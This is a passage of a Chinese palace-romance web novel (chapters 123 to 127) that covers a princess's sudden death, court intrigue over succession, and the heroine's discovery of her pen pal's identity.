但昭华公主冲着她来的也是事实,关楚河把昭华公主送走了,确实给她解决了麻烦。 这声谢,也是应该的。 “是我这个主人家招呼不周,让苏姑娘看笑话了。”关楚河说着。 苏钰笑得有点点尴尬,公主的笑话不好看,总觉得昭华公主的状态有点不太对。 宾客们陆陆续续入席,关楚河也没时间跟苏钰闲聊,看向苏钰的身侧的叶氏,“客人多,招呼不周,莫要见怪。” 叶氏道:“关大人客气了。” “失陪。”关楚河说着,转身离开。 云棠就在叶氏身侧,从头到尾,关楚河没跟她说一句话,连一个眼神都没有,仿佛她只是一个路人甲。 其实,也没错,她本来就是路人甲。 因这副皮囊,沾上了好运气,再求其他,就是强求。 今天能遇到关楚河,就是她的运气。 “苏二太太,苏大姑娘,苏二姑娘,这边请。”关家管事媳妇上前说着。 三人正欲跟着管事媳妇入席,就见一个婆子匆匆跑过来,神情慌张至极,差点摔倒在关楚河面前,颤抖说着,“昭华公主,公主殁了。” 婆子说话的声音并不大,奈何周围的人太多,一句惊雷,瞬间炸开了锅。 苏钰呆滞当场,昭华公主死了? 她虽然看起来有点疯,不太正常,但一个每月请平安脉的公主,怎么可能会在没有内伤,外伤的情况下突然暴毙。 这绝不是意外,会是谁动的手? 突然一个念头跳了出来,苏钰自己都吓了一跳。 昨天薛迟写信给她,约她明天品花楼见面。 薛迟应该很清楚,在他与昭华公主的婚约没解决前,她是不可能跟他在公开场合成双入对。 而现在昭华公主死了,婚约自动解决,她就可以跟薛迟见面了。 关楚河脸色大变,却没有马上过去查看,却是朗声说着,“请贵客们在府中小坐。” 说着,关楚河又吩咐着,“好好招待贵客。” 此言一出,原本就炸开的锅,瞬间沸腾了。 这哪里是小坐,根本就是变相软禁。 昭华公主死在关家,这是要找个替罪羊出来,给关家顶罪。 叶氏脸色变了,不禁看向苏钰。 “二婶不用担心,我刚才与昭华公主的冲突,人尽皆知。”苏钰说着。 昭华公主射箭,她反击。 虽然反击的有点大不敬,但她与昭华公主别说私下见面,连肢体接触都没有,隔空对话。 又是众目睽睽之下,那么多人都看到了,怎么查都查不到她身上。 至于栽脏,那就得看对方的胆量了。 现在最麻烦的是关楚河,是他下令把昭华公主送走的。 虽然他没有杀害昭华公主的动机,就不知道痛失爱女的关贵妃会不会听他的解释。 叶氏定定心神,神情坦然了不少,“也是,与我们无关的事,栽不到我们身上。这么闹了大半天,都饿了,我们吃席去。” 随着关楚河的吩咐,关府四门皆关闭,别说女眷们连男客此时都不得离开。 关太太这回倒是没有晕倒,只是脸色苍白至极,连说话都无气无力的。 众女眷们再没心情,也只得坐下来吃席。 幸好席面是早就准备好的,只是菜上桌,没几人有心情吃的。 “现在的喜酒真的不能随便吃,冯家娶亲时……”相熟的太太们小声嘀咕着。 “快别说了,晦气。” “好好的,公主怎么会出事。” “弄不好是媳妇没选好,大喜事的日子出这样的事,这亲事只怕是不妥。” 话题转移到娶亲上,太太们开始畅所欲言,不像刚才那般拘束。 “周家这位小姐只怕是命硬克夫,刚进门才有这样的祸事。” “八字没合好吧,依我说,虽然娶进门了,但还没洞房,不如把婚事取消。” “克夫的女人,真的不能娶,败家损业,顺带着还克子。” 席间议论声不断,把戏台上的唱戏声都压了下去。 叶氏素来不听这些闲话,只顾自己吃饭。 苏钰有心事,动了几下筷子就放下了,倒是云棠一副心不在焉的模样。 “不用担心,天下的事找不到我们身上。”叶氏小声安慰云棠。 云棠倒不是担心自己,是担心关楚河,笑着说,“母亲不用担心我,我没事。” 席吃到一半,刑部来人了,紧接着大理寺。 今天能来吃席的都是京城贵妇,哪里敢让她们配合查案,把跟随主子的丫头婆子喊了过去问了一通。 苏钰都做好被询问的准备了,结果没人问她,连叶氏身边的丫头都没叫去问话。 如此一通折腾,眼看着要到晚饭时间,众女眷都要坐不住时,终于有消息了。 各回各家。 至于昭华公主的死因,没人说,更没人好奇。 众女眷皆大松口气,实在是上回冯家的事太让人害怕,这回死一个公主,都怕的要死。 顾不上与主人家道别,女眷们赶紧走了。 关太太都也不上管宾客。她是主人家,别人不受询问,她是被询问的。 昭华公主进府后,吃过什么,摸过什么,全部都要问她这个当家主母。 叶氏带着苏钰和云棠回到苏家,二门下车时,天己经黑了。 管事挑着灯笼,苏天华正在二门等着。 苏天华扶着叶氏下车,“没事吧。” 昭华公主突然暴毙,那么大的事,早就传遍京城。 叶氏和苏钰,云棠被困在关府,苏天华放心不下,派小厮在关家门口守着等消息。 “与我们无关,能有什么事。”叶氏笑着说,“倒是让你担心了。” 苏天华又看向苏钰,不等他发问,苏钰就笑着说,“我很好,让二叔担心了。” 苏天华道:“时候不早了,早点回去歇着。” “嗯。”苏钰笑着答应。 苏天华带着叶氏和云棠回了二房,苏钰回了听雨轩。 折腾一天,绿川知道苏钰肯定累了,先让厨房备饭,又吩咐婆子备水。 吃饭,洗澡,绿川本以为苏钰要休息了,苏钰突然吩咐着,“研磨,我要写信。” 绿川不禁道:“有些晚了,二门只怕要关了,累一天了,姑娘何不明天写?” 给谁写信不言而喻,而现在给薛迟的信,都要经过苏略的小厮。 二门关闭后,各院落之间就不好走动。信递不出去,写了也要明天早上才能送。 苏钰累一天了,不如早点休息,明早再写,写好马上送都来的及。 苏钰却是摇摇头,并不解释。 累是挺累的,但此时她根本就睡不了。 她竟然在怀疑昭华公主之死是薛迟的手笔,只是因为薛迟昨天的一封信。 她是不是想太多了,或者说,对于薛迟,她一直想太少了。 薛迟约她见面,她不见。 现在换成她约薛迟见面,倒不是想问清楚什么。 昭华公主的死活,她并不在意,论行事手段,薛迟不可能超越苏略。 她能接受苏略这个兄长,就能接受薛迟。 她只是想更了解薛迟。 第124章 第 124 章 “我的儿啊。” …… “我的儿啊。” 关贵妃抱着昭华公主的尸体, 失声痛哭,伤心欲绝。 她是冲着当太后的心思进宫,从来没有指望过皇帝的爱。连关太后这个姑妈,应对的也十分小心。 但不管最初的目的是什么, 人都是需要感情的。皇宫内院, 四面红墙, 她把所有的感情都投放在儿女身上。 要是儿女出了事, 别说当太后,当皇帝都没心情。 西侧殿里, 关太后脸色难看至极,看向旁边坐着的关楚河,“到底是怎么回事?” 关楚河抬眸,神色不明的看向关太后,“太医说, 公主是被刺激之下,心脏突然破裂。” 一个十五六岁,身体健康养尊处优的公主, 突然间暴毙。 其中原由, 只怕要问关太后。 在昭华公主身上先下毒, 借机搞死薛迟,关太后没跟他说过, 但他知道关太后这么干了。 昭华公主突然暴毙, 要么是关太后下毒时手太重了。要么是薛迟报复,也给昭华公主下了毒。 关太后脸上浮出一抹戾气,她确实在昭华公主身上下过毒,但早就解了。 就是有余毒未清,会让昭华公主短时间脾气暴躁, 但绝不至于要她性命。 要是薛迟动的手…… 关太后背脊不自觉得有几分冷意,昭华公主痴缠薛迟,薛迟确实有机会下手。 但昭华公主身边的人,都是她安排的,能做到神不知鬼不觉要了昭华公主的性命,这等手段,让她有些害怕。 回想当年,程皇后就极其难缠。好不容易弄死了她,结果却被她暗渡陈仓。 关太后确实没有想到,母爱能如此伟大,用自己的命也要换儿子一命。 “昭华宫里的人,全部打入慎刑司。”关太后吩咐着。 必须得把昭华公主的真实死因找出来,至于谁是内奸并不重要。 都死了,也就不用查了。 “是。”海公公应着。 关太后看着海公公,心里稍安,却是看向关楚河,“立太子之事,不可再耽搁了。得找个由头出来,让大臣们上折子。” “我会安排好。”关楚河应着,眉头却不自觉得皱了一下。 想让三皇子登基,最快的办法是显庆皇帝死。 趁着薛迟的身份还没公开,显庆皇帝死了,三皇子的皇位就稳了。 也是奇了,关太后在后宫势力强大,手段狠辣,显庆皇帝又如此无能。 关太后也不是没动过手,但显庆皇帝总会因各种巧合平安无事。 还有薛迟的身世,知晓内情者不在少数,显庆皇帝就是不公开他的身份。 眼线给出的原因,显庆皇帝算卦,卦相显示还不到公开的时候。 等什么时侯卦相显示可以公开了,显庆皇帝才会公开。 “皇姐……” 三皇子声音急奔而来,直至关贵妃的寝殿。 昭华公主在关府暴毙,尸身运回皇城,本来是不能进后宫的。 关贵妃却是发了疯,一定要把昭华公主的尸身运回自己的寝殿。 关太后见拦不住她,也就由得她了。 痛哭中的关贵妃听到三皇子的声音,跌跌撞撞的从内殿走出来,上前抱住三皇子,撕心裂肺喊着,“是苏钰害死了你姐姐,你要杀了她,给你姐姐报仇。” 太医说了,昭华公主是气死的。 就是苏钰惹昭华公主生气,还用弓箭射杀公主,试图弑君,当诛满门。 “母妃……”三皇子哭泣着,来的路上他己知前因后果,心知昭华公主之死与苏钰无关。 但关贵妃神态疯魔,不敢再刺激她,也不分辩,只是哭着道:“父王知道了吗,会来看看姐姐吗?” 投胎成皇子,就别想着像普通人家那样,父慈子孝骨肉亲情。 道理他懂,只是心中却忍不住有所期待。 哪怕显庆显庆每每见到他,都是面带厌恶之色。不管老师如何夸奖他,显庆皇帝都是一副嫌弃的模样。 对他如此,对昭华公主更是恶劣。 现在昭华公主死了,亲生女儿去世,怎么都会来看一眼吧。 “你管他做什么。”关贵妃神态疯魔,“你要给你姐姐报仇,杀了苏钰,一定要杀了她。” “是,母妃,我都记下了。”三皇子只得满口答应,又努力安抚着关贵妃。 关贵妃神智渐渐清醒过来,抱着三皇子呜咽哭泣不止。 关倩倩是昭华公主的跟班,昭华公主暴毙时她就在旁边,也跟着一起进了宫。 因为都是姓关的,关倩倩并没有被为难,但关贵妃伤心过度,她也不敢刷存在感,跟宫人一起跪在旁边。 现在三皇子来了,关贵妃看起来也恢复正常了,便起身劝慰着,“贵妃娘娘凤体为重,若是伤到自身,公主泉下有知,心何以安。” “贱人。” 看似恢复正常的关贵妃,一个耳光甩到关倩倩脸上,把关倩倩都打懵了。 “你那些小伎?,别以为我不知道,想算计我儿子,你还早的很。”关贵妃指着关倩倩骂了起来。 关倩倩想嫁给三皇子,若是以前,关贵妃并不当回事。 都是姓关的,不是外人。就是看不上关倩倩,儿子多个妾室也无所谓。 但现在昭华公主刚死,关贵妃对三皇子的爱护到达极致,想到有人要算计自己儿子,瞬间到了怒不可谒的地步。 “你不是想嫁皇子吗,我给你指婚,嫁给大皇子,满足你的心愿。”关贵妃怒声说着。 关倩倩吓傻了,连忙跪下磕头求饶,“臣女绝无此心,还请贵妃娘娘明鉴。” 大皇子在宫里过的连宫人都不如,若是嫁给他,岂不是生不如死。 关贵妃根本就不理会,大声说着,“传我懿旨,封关倩倩为大皇子侧妃,让宗人府尽快挑日子办婚事。” 关倩倩彻底傻住了,想到西侧殿坐着的关太后和关楚河。 都是姓关的,她那么美丽,那么聪明,能为家族做很多事情。把她嫁给大皇子是资源浪费,她很有价值,不是蠢笨不堪的弃子。 如此想着,关倩倩几乎是连滚带爬到西侧殿,跪倒在关太后和关楚河面前。 关贵妃喊的那么大声,关太后和关楚河听得一清二楚。 “太后……”关倩倩哭泣着就要开口。 关太后道:“大皇子身边缺个机灵的人,你倒是合适。” 关家不缺女儿,关倩倩这点小聪明,连关贵妃都不如。 关贵妃至少够狠,一言不合就杀人。 关倩倩还是后宅女儿的思维,搞搞宅斗还可以,在后宫里怎么死的都不知道。 既然倒霉的撞到关贵妃的枪口上了,只能说她命不好。 关倩倩呆滞在当场,泪流满面的看着关太后,随即转头看向关楚河。 贵妃指婚,太后都同意了,现在唯一能救她的只有关楚河。 “大皇子早己成年,是该纳个侧妃了。”关楚河说着。 大皇子傻的很彻底,不管是御医诊治,还是各种试探,都证明他就是傻子。 至少关太后是相信了的,关楚河却心有疑虑,又不好直接下杀手。 毕竟是长子,占了名份。当年把他搞成傻子,大臣就议论纷纷,都傻了,还得再弄死,更显得残暴。 关倩倩这么能折腾,把她嫁给大皇子也挺好。男人最难防的就是枕边人,用一个关倩倩试出大皇子,是划算的。 “太后,叔公……”关倩倩惊魂未定的心,慢慢沉了下去。 还未成年时,她就开始谋划。 成亲是女子的第二次投胎,身为关家女,她的命己经很好了,但她还想着能更好。 她那么努力的在关太后,关楚河面前刷存在感,用尽全部心力,最后的结果,竟然是嫁一个傻子。 “下去吧。”关太后说着。 关倩倩哭喊着,还欲再说什么,海公公挥挥手,两个太监上前,架着关倩倩出去了。 关倩倩刚被架出去,就见宗人令擦着额头的汗渍,小心翼翼进门。 “给太后,贵妃娘娘,三皇子,关大人请安。”宗人令进门就跪下了,跪的非常标准,生怕被挑出错来。 “什么事?”关太后神情不悦。 宗人令声音很低,“臣奉皇上旨意,料理昭华公主大丧事宜。” 显庆皇帝说的是,昭华公主的尸体在皇城太不吉利,一天之内必须运出皇城。 至于丧事怎么处理,宗人府怎么处理都可以,不用问他。 但一天之内处理尸体,也就够封棺。当天就得拉走,也就是不停灵。 别说公主了,普通人家的女儿死了,也得发丧停灵。 “宗人府打算如何料理我儿丧事?”关贵妃问着。 宗人令只觉得头皮发麻,但显庆皇帝如此吩咐,做臣子的哪里敢抗命,诛九族的大罪。 做好被关贵妃当场打死的准备,宗人令颤颤巍巍说了出来。 让宗人令意外的是,关贵妃竟然没有发疯,倒是素来温和的三皇子神情仿若雷劈,“父王,父王怎么能……” 亏得生在帝王家,身后有宗人府料理。若是普通人家,只怕要一卷草席直接扔乱葬岗了。 “好,好的很。” 饶是关太后有心理准备,此时也忍不住冷笑,“就按皇上的意思办。” 第125章 第 125 章 苏钰写信约薛迟见…… 苏钰写信约薛迟见面, 信刚送出去,就收到晋阳长公主的贴子。 五日后是薛驸马寿辰,不是整寿,公主府不大办, 但该宴的客还是要请的。 公主府给苏家送了贴子, 另外单独有一张贴子是给苏钰的, 晋阳长公主亲手写的, 态度亲切又客气,原本的隔阂一扫而空, 请苏钰勿必参加。 “薛迟这是说服长公主了。”苏钰看着贴子,自言自语说着。 也有可能是谢无衣放下了,三角关系解除。 以苏家的门第,晋阳长公主对她不可能有意见。 障碍扫除,晋阳长公主对她自然和气了。 绿川看着苏钰有几分欲言又止, “姑娘要去的话,就得准备寿礼了。” “嗯。”苏钰淡淡应了一声,兴致缺缺的模样。 绿川见状, 这才说着, “姑娘与薛大爷这么交往下去, 公主府很快就会来提亲了。” 苏钰也想到这点,反而没那么高兴了。 “姑娘难道就不好奇, 交往两年的笔友到底是谁吗?”绿川小心翼翼说着。 苏钰看向绿川, “你好像也很好奇。” “姑娘误会了,我只是为姑娘担心。”绿川连忙解释着,“成亲是大事,最怕的是成亲后后悔。” 苏家人的恋爱脑基因太强大,想勉强自己将就都将就不了, 婚事上要格外谨慎。 苏钰对笔友是真的投入过感情的,现在不知道笔友是谁,感情断在了半截,就这么跟薛迟成了亲。 就是眼下苏钰喜欢薛迟,这个笔友将来也会是隐瞒。 最稳妥的,先把笔友找出来,把这段感情了结了再谈婚论嫁。 苏钰沉默了许久,“一直以来我都没有考虑过成亲,但就像你说的,薛迟不可能不考虑,是我思虑不周。” 绿川见苏钰听进去了,不禁松口气,“那这次长公主的邀约?” “要去。”苏钰说着,“准备寿礼吧。” 到了薛驸马寿辰当天,苏钰早早梳洗打扮,早饭后,婆子过来传话,要出发了。 苏钰坐车到二门,叶氏带着云棠也是刚到,三人同乘一车。 车驾缓缓驶出二门,叶氏忍不住对苏钰说着,“你年龄也不小了,凡事要拿个主意。” 本以为去直隶后,京城的人就翻篇了。 没想到苏钰刚回来就跟薛迟去打猎,昭华公主又莫名其妙没了,薛迟恢复单身。 既然翻不了篇,那就把婚事定下来。 不然总是这么摇摇摆摆的,再生变故就不好了。 “我会的。”苏钰说着。 嘴上如此说,心里却知道,这主意一时半会还拿不了。 叶氏叹口气,“老太太派了官媒婆去关家,把越哥儿的亲事退掉了。” 男方无故退亲,她本来想着,苏天佑得过去一趟。或者她这个嫂子帮忙过去料理,毕竟是男方的错处,要承担女方父母的怒火。 谷夫人却说不需要,只让官媒婆出面。与关家的关系,挨不挨这顿骂都不会缓合。 因为是男方无故退亲,当初下的聘礼就不退了,当做给关灵灵的补偿。 关灵灵的父母十分硬气,把官媒婆大骂一顿,本想退回聘礼的,却被关灵灵拦下了。 婚事是苏家主动提的,现在要退的也是苏家,把聘礼当做补偿理所当然。 关氏对未来儿媳妇很大方,五千两银子下聘。关氏虽然家大业大,但并不是所有族人都有钱。 这份不退的聘礼,将来给她当嫁妆,犯不上跟钱过不去。 “越哥儿并不喜欢关灵灵,退亲也挺好的。”苏钰说着。 这门亲事本就不妥,越早退越好。 不耽搁女儿家花期,以关家的家世,关灵灵不愁嫁。 叶氏叹气道:“老太太特意叮嘱了,不准乱传话。” 这是不想身在莲花庵的关氏知道,免得再有波折。 但退亲这么大的事,哪里瞒的住,等关氏回来了,还不知道会怎么样。 更让她头痛的是,谷夫人说了,以后让她管家。理由也很正当,她本来就是嫂子,苏天华要承爵,她管家比关氏更明正言顺。 道理是这个道理,但让关氏情何以堪。 苏钰知道叶氏为难之处,却是笑着道,“二婶素来能干,是管家的一把好手,定能把家里打理的井井有条。” 叶氏是真心想着家宅和睦,也想与关氏好好相处。但前有苏邑娶了程采蓝,后有苏天华承爵。 尤其是爵位之事,关氏彻底破防。 这种情况下,叶氏管不管家,都不可能与关氏和睦相处。 己经得罪了,不差这一点,也就没必要纠结。 闲话间,晋阳长公主府到了,车驾驶入二门,苏钰跟着叶氏下车。 只见晋阳长公主正在门口等着,不止叶氏,连苏钰都愣住了。 贵客来了,女主人亲自来迎是礼仪,但是晋阳长公主是公主,是君,不是一般的女主人。 “拜见长公主。”叶氏和苏钰连忙见礼。 云棠有点没反应过来,她没见过晋阳长公主,更想不到公主能亲自来迎客。 晋阳长公主满脸笑意,上前扶起苏钰,拉着她的手,又对叶氏笑着说,“快请起,都是一家人。” 薛迟己经通知她准备提亲事宜,成亲倒是不急。 她心里就是不愿意,也不敢多说一句。 她现在就希望今天的寿宴顺顺利利,谢无衣千万不要闹事。 苏钰微微一怔,只觉得晋阳长公主过份客气了。 “薛迟早上跟着驸马进宫去了,还没回来,应该快了。”晋阳长公主笑着说。 薛驸马寿辰,关太后和显庆皇帝皆有赏赐,薛驸马和薛迟早上起来就去宫里谢恩。 按理说现在该回来了,没回来了,估摸着是显庆皇帝留薛迟说话。 换上滑杆软轿,晋阳长公主带着三人来到西溪山庄。 薛驸马寿宴,虽然没有大办,宾客依然不少。 叶氏虽然没有掐着点来的,但来的也不早,入席落座时宾客来的七七八八。 众人看到晋阳长公主亲自迎了叶氏,虽然没说出来,心里却都明白,苏钰与薛迟是好事将近。 “到我这边来。” 落座时,晋阳长公主朝苏钰招招手,让她挨着自己坐。 这样即显得亲切,又能时刻盯着苏钰。 不是担心苏钰做什么,而是担心谢无衣出幺蛾子。 对谢无衣是打也打了,骂也骂了,能想到的办法都使尽了,他就是死心眼。 薛驸马劝她想开些,等薛迟身份公开,与苏钰成了亲,太子和太子妃的身份压制,谢无衣不死心也得死心了。 “是。”苏钰应着,上前在晋阳长公主跟前坐下来。 众夫人也跟着落座,还不到中午开席时间,女眷们都相当随意。三三两两一起说话,相熟不相熟的,不说八卦也得说说儿女婚事。 叶氏格外忙碌些,要向众女眷介绍云棠,还得应酬说媒的夫人们。 苏邑要定亲的消息,叶氏早就散出去了。但叶峰还有没有娶亲,女儿也找回来了,待字闺中,得需要说亲事。 云棠也有些忙,忙着应酬。 回到京城后的生活,与她想像中的完全不同。 勾栏出身,当过外室,生过孩子。这样的遭遇,她回京前做好受尽白眼的心理准备。 就是苏家人不嫌弃她,跟着叶氏出门应酬时,也肯定会被高门大户的太太小姐白眼。 现实是每个人都对很好,不管夫人还是小姐,都客客气气。 偶尔遇到未成婚的世家公子哥,那殷勤献的,让云棠都有些招架不住。 云棠并没因此飘飘然,只是深刻了解到苏家的权势。 权利是最好的春药,能当苏家女婿,苏家女儿怎么样,并不重要。 苏钰因坐在晋阳长公主身侧,格外清闲。 “等昭华的百天过了,我就去苏家提亲。”晋阳长公主笑着说,似有感叹,“早点定下来也好,都安心了。” 苏钰不禁看向晋阳长公主,她能感觉到,晋阳长公主对她的态度,与上回在西溪山庄相见时一样。 只是上回她与薛迟还不熟识,晋阳长公主的不喜欢摆在了脸上。 现在是薛迟喜欢她,晋阳长公主扭不过,语气中的无奈几乎要掩盖不住。 苏钰斟酌着开口,提亲之事,在她看来也有点早。 “大公子来了。” 婆子一声通传,只见薛迟笑着走来。 晋阳长公主把脸上的无奈收起,脸上含笑,端庄坐好,“这么快就回来了,还以为要到中午。” 薛迟笑着说,“驸马爷还在宫里,我提前回来的。” 说着薛迟的目光看向苏钰。 知道苏钰要来,就是有事也要提前回来。 “他今天是寿星,自然要应酬的。”晋阳长公主笑着说,“不管他了,随他什么时候回来。” 因为宾客不多,宴席就摆在会芳园的大花厅中,总共十桌。 听戏,吃席,半下午时散了场。 叶氏带着云棠要回去,苏钰笑着说,“我与薛迟有话要说,等会自己回去。” 薛迟也在旁边说,“我会亲自送苏姑娘回去。” “也罢,早点回家。”叶氏说着,带着云棠离开。 晋阳长公主安排送客,苏钰本想跟晋阳长公主招呼一声的,薛迟却是笑着对苏钰说,“到我屋里坐坐吧。” “嗯。”苏钰点头。 第126章 第 126 章 从晋阳长公主住的…… 从晋阳长公主住的西溪山庄到薛迟住的临流草堂, 除了走路,还可以坐船。 公主府的后花园,以正中的莲心湖为中心点,建筑群都是临湖而建。 除了冬天湖面结冰时, 湖边皆有船只靠岸, 船娘随时待命。 薛迟先行上船, 正欲扶苏钰时, 苏P.M. 獨.傢.癥.蠡钰一个箭步跳到船上。等两人站稳,船娘撑船划向临流草堂的方向。 “在园子里修湖, 倒是不错的主意。”苏钰笑着说。 修在后花园的人工湖,面积有限,水也很浅,景色却十分怡人。 因为是引的活水,湖水清澈见底, 能看到鱼儿在水中嬉戏,河边垂柳依依,嫩绿的柳枝随风摇曳。 “你喜欢?”薛迟笑着问, “那以后修个更大的。” 会在家里修这么一个人工湖, 薛驸马是出于安全考虑。 临流草堂大门正对着莲心湖, 四周也是流水环绕,类比护城河, 防暗杀用的。 苏钰偏头看向薛迟, “我一直想问你,你为什么会知道我在直隶的事?别跟我说,是我大哥说的。” 薛迟神色认真,“我是担心你。” “我跟我二叔出门,有什么好担心的。”苏钰说着, “我不喜欢被人盯着。” 薛迟看出苏钰有些生气,却没有气到因此跟他有隔阂的地步,便没辩解,“以后我若派人过去,一定会提前告诉你。” 苏钰在京城时,慕容宁在,苏略也在,自然没什么好担心的。 离京就不同了,苏天华虽然是武将,苏邑身手也很好。但应对各种非战场状态下的突发状况,警惕性未必够。 “这还差不多。”苏钰说着,也没再追究。 也可以是习惯了,慕容宁给了她足够的自由,但苏略会盯着她。 “昭华公主殁了。”薛迟说着。 苏钰微微一怔抬头看向薛迟,她有心想问一句,是你做的吗? 又觉得没必要。 薛迟此刻给她的感觉,就是他做的,完全不掩示那种。 “以后你可以正大光明的跟我同进同出。”薛迟说着。 苏钰会拒绝他的邀约,只因他被指婚,现在婚约自动解除了,苏钰就不能再拒绝他。 “昭华公主是关贵妃的爱女。”苏钰担忧说着。 同胞弟弟三皇子还是太子的热门人选,薛迟直接搞死昭华公主,让她很意外。 虽然薛迟早就说过,他会解决婚约,但她真没想到,解决方式是直接解决昭华公主。 简单粗暴,也后患无穷。 “你不用担心这些。”薛迟说着。 因为慕容宁的大清洗,把朝堂矛盾,太后与皇帝之间的矛盾彻底摆在明面上。 现在局面早就不是隐忍的时候,不是你死,就是我活,再无退路。 苏钰没作声,心里想到了苏略。 虽然没人说过,但她知道,薛迟与父亲苏天翊,甚至跟母亲慕容宁都是同一战线。 慕容宁甚至一反常态,同意她与薛迟交往,大概也是觉得,大家利益同共体,更尽一步成亲也可以。 说话间,船只靠岸,两人一前一后上岸。 岸边的花草繁茂,春天的关系,五彩斑斓的花朵竞相开放。 抬头就是临流草堂的大门,此时正门大开,婆子小厮皆垂首以待。 再次踏入临流草堂,苏钰微微有些惊讶,与冬天的萧索景象不同,此时的院子里充满了生机。 绿树成荫,一片郁郁葱葱,连鸟兽都喂上了。 进到正房,惊讶就更多了。 原本的样板房不见了,墙壁上挂着名家字画,案几上摆放着精致的瓷器,处处透露着主人的品味。 “喜欢吗?”薛迟笑着问。 他不在意住在什么样的房子里,但苏钰在意。 陈平提醒了他,富贵无双中长大的苏钰,对生活质量要求是很高的。 女子过日子,首先要活的舒服。最基本的物质条件都不达标,指望着有情饮水饱,根本就不现实。 “你不用……”苏钰有些意外,又有些高兴。 每个人的生活习惯不同,薛迟喜欢简单的生活,对生活质量没有要求,是他的喜好。没必要因为她而改变。 薛迟笑着道:“我希望你高兴。” 苏钰心中感动,若是以前只怕要去抱一抱薛迟, 而此时却有另一桩心事。 薛迟拉着苏钰在临窗的罗汉床上坐下,正中摆着炕几,两人相对而坐。 丫头上茶后,薛迟挥手让屋里人退下,顿时房间里只剩下他们俩。 苏钰轻抿一口茶,眼角余光看向薛迟时,薛迟正看着她,嘴角含笑。 一直以来薛迟都给她一种有点冷的感觉,这种冷不是表现出来的,他也会笑,绝大部分时候,都表现的温文儒雅。 他的冷是骨子透出来的,隐隐约约带着戒备,对所有人都无法任信。 而此时的薛迟,似乎是敞开了心扉,幸福而高兴的看着她。 “薛迟,有件事,我想跟你坦白。”苏钰压下心底的情绪,决定一鼓作气把话说明白。 “你说。”薛迟说着。 苏钰深吸口气,“那天我会去东山,是因为我约了笔友见面。我看到了你,误会你是他。” 不管是阴差阳错,还是天意如此,当时确实是她搞错了。 这个误会,与薛迟无关。 但她和薛迟的感情也是因此开始,不管他们是否能继续走下去,都必须把话说清楚。 薛迟笑着的脸慢慢冷了下来,他直直看着苏钰,似乎想从她脸上看到什么。 苏钰侧开脸,没有与他对视。 从薛迟的角度,可以看到苏钰精致的侧脸,一双漂亮的眼眸闪烁着。 有纠结,有不舍,也有无奈感慨。 弄错了人? 所以,从一开始苏钰喜欢的就不是他。 苏钰喜欢的是那个未曾蒙面的笔友。 会知道搞错了,应该是因为陈平带去直隶的那封信,苏钰发现笔迹不对。 今天来坦白,说是坦白,其实是想分手。 “能告诉我,你们是怎么认识的吗?”薛迟说着,声音有点点缥缈卡顿,语调平和,却透着诡异的危险。 若是陈平在,只怕要当场吓跪。 苏钰看向薛迟,眼中带着为难,她并不想说,但薛迟问了,她又觉得该说。 既然坦白了,不如一次坦白到底,省得以后再来一次。 “是因为我写话本……”苏钰缓缓说着。 说的有点慢,也有些不好意思。 她与笔友并没有在信中定情,更没有互许终身。只是朋友,十分聊的来的朋友。 要是那天见到的不是薛迟,她的感情不会来那么快,那么炙热。 虽然通信两年,但因为都是聊闲天,可诉说的内容并不多。 苏钰讲的很快,说到最后的时候,她抬头看向薛迟。 “我不知道他是男是女,也不知道他是怎么想的我。”苏钰说着,“只是书信往来太久,感觉应该见个面。” 隔着一层纱的笔友,她也很好奇。 当然,也不否认,她想用这场见面决定两人的关系。 薛迟紧抿着唇,静静听着。 过份的沉默让苏钰有些手足无措,她紧张的看着薛迟,“我……” 我其实在第一次见你时,对你一见钟情了。 薛迟突然把两人中间的炕几掀翻在地上,炕几掉在地上,发出沉闷的声响。 苏钰吓了一大跳,错愕之时,薛迟突然伸手抱住她,紧紧搂在怀里,力道之大几乎让苏钰喘不上气来。 自从九岁以后,苏钰再没跟男人如此亲密过。 薛迟的身体在发烫,急促的呼吸声似乎在隐忍着什么。 这一刻,仿佛时间都静止了,只有彼此的心跳声和呼吸声交织在一起。 “我们很快就成亲了。”薛迟声音沙哑,强迫自己冷静下来,慢慢放开苏钰。 他喜欢苏钰,所以不能轻薄了她。 “以前那些过往,都忘了吧。” 从来没有见过面的笔友,以后也不会再见面,自然就过去了。 苏钰还有些发怔,她有些被薛迟的反应吓到,怔怔的看着薛迟。 “我……” “我不想听。”薛迟打断她,“我不能送你回去了,我让管事送你。” 苏钰也觉得自己该走了,站起身,走到门口时,却是忍不住回头说着,“薛迟,我今天告诉你这些,是因为我喜欢你。第一次见你时,就很喜欢了。” 要是不喜欢,直接分手,根本就不用说这么多。 因为喜欢,想着要继续,才想把所有的隐患解决掉。 管事送苏钰回到苏家,二门下车时,苏钰觉得自己连走回听雨轩的力气都没有。 让婆子抬来滑杆软轿,苏钰坐轿回到听雨轩,小丫头侍侯着脱了外衣,顾不上洗脸,苏钰直接躺在床上。 跟薛迟坦白了,很轻松。 薛迟的反应,却让她担心。 她以前没谈过恋爱,也不知道薛迟现在的反应算不算过激。 薛迟说他们很快就要成亲,就这样成亲,真的好吗? “姑娘……” 绿川手里拿着一封信,站到床边,欲言又止的看着苏钰。 “我在公主府时,有个小子拿了一封信塞给我,让我转交给姑娘。”绿川说着。 虽然没说是谁,但想也能知道,肯定是宴席上没露面的谢无衣。 因为晋阳长公主盯的太紧,谢无衣不能现身与苏钰见面,但若是连封信都送不出去,就太蠢了。 苏钰微微皱眉,显然也想到信的主人是谁。 她跟薛迟还在纠结中,实在不想再跟谢无衣有瓜葛。 “姑娘还是看看吧。”绿川见苏钰没接信,不由的说着。 “算了,一封信而己。”苏钰说着,顺手接过来。 一封信而己,不管谢无衣写什么,她不理会就是了。 心里如此想着,苏钰随手拆开信。 只看一眼,整个人就呆住了,这个笔迹…… “竟然是他……” 第127章 第 127 章 熟悉的字迹,让苏…… 熟悉的字迹, 让苏钰从床上跳下来,连鞋都顾不上穿,连忙往西梢间走。 绿川吓了一大跳,连忙跟了上去, “姑娘要找什么。” 苏钰顾不上理会绿川, 把放到柜架最高处的匣子拿了下来。 里面装着两年来的通信, 从直隶回来后, 她就让绿川全部束之高阁。 失约的笔友,可能这辈子都不会见面, 信件就先收了起来。 随手拆开一封,苏钰核对笔迹。 其实都不用如此麻烦,通信两年,只要一眼就能确定。 苏钰却想再确定一下,生怕有丝毫的错漏。 一模一样的字迹, 甚至行文中的习惯都是相同的。 绝对不会弄错,她通信两年的笔友,是谢无衣。 书信从指尖滑落, 苏钰几乎是跌坐在椅子上。 这到底是怎么样的因缘际会, 她刚刚跟薛迟坦白完, 马上告诉她,笔友是谢无衣。 出身名门, 性格张扬随性, 说话虽然气人,却幽默风趣。 